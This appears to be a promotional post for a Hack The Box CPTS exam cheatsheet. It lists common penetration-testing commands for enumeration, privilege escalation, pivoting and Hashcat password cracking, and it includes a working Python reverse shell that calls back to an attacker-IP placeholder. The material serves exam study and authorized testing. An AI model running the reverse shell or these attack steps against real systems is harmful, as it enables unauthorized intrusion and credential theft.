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Are you preparing for the Hack The Box Certified Penetration Testing Specialist (CPTS) exam? This CPTS Cheatsheet acts like a GPS for your next pentest, covering essential techniques and tools to help you succeed.
📚 Download the Cheatsheet: https://lnkd.in/gSTD-4dZ
📝 Follow for More Cyber Insights: https://lnkd.in/gmMXYnUH
What It Covers:
- Enumeration (Nmap, SMB, FTP, SNMP, and more)
- Exploitation with Python
- Privilege Escalation (Linux & Windows)
- Post-Exploitation & Pivoting
- Cracking, RCE, and more
This isn’t just a checklist—it’s a practical walkthrough that bridges the gap between theory and real-world exploitation.
You Should Know: Essential Commands & Techniques
1. Enumeration with Nmap
Basic scan nmap -sV -sC -oA scan_results <target_IP> Aggressive scan nmap -A -T4 -p- <target_IP> UDP scan nmap -sU -p 53,161,123 <target_IP>
2. SMB Enumeration
List SMB shares smbclient -L //<target_IP> -N Access a share smbclient //<target_IP>/sharename -U username
3. FTP Exploitation
Connect anonymously ftp <target_IP> Username: anonymous Password: (leave blank or use "anonymous") Download files get filename
4. Linux Privilege Escalation
Find SUID binaries find / -perm -4000 2>/dev/null Check sudo permissions sudo -l Exploit writable cron jobs cat /etc/crontab
5. Windows Privilege Escalation
Check user privileges whoami /priv List scheduled tasks schtasks /query /fo LIST /v Check unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
6. Python Exploitation (Simple Reverse Shell)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<attacker_IP>",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
7. Post-Exploitation & Pivoting
SSH tunneling (port forwarding) ssh -L 8080:internal_host:80 user@jump_host Dynamic SOCKS proxy ssh -D 1080 user@pivot_host
8. Password Cracking with Hashcat
Crack MD5 hashes hashcat -m 0 hashes.txt rockyou.txt Crack NTLM hashcat -m 1000 ntlm_hashes.txt rockyou.txt
What Undercode Say
This CPTS Cheatsheet is a must-have for aspiring penetration testers. It condenses real-world techniques into actionable steps, ensuring you’re exam-ready and job-ready.
🔹 Key Takeaways:
- Master enumeration with Nmap, SMB, and FTP.
- Leverage Python for custom exploits.
- Escalate privileges in both Linux & Windows.
- Practice post-exploitation pivoting and tunneling.
- Use Hashcat for efficient password cracking.
🚀 Expected Output: A well-prepared pentester who can identify, exploit, and secure systems effectively.
Prediction
With AI-driven security tools on the rise, manual pentesting skills will remain critical for uncovering logical flaws that automated tools miss. The CPTS certification will grow in demand as organizations prioritize hands-on security expertise.
🔗 Relevant URLs:
IT/Security Reporter URL:
Reported By: Ouardi Mohamed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
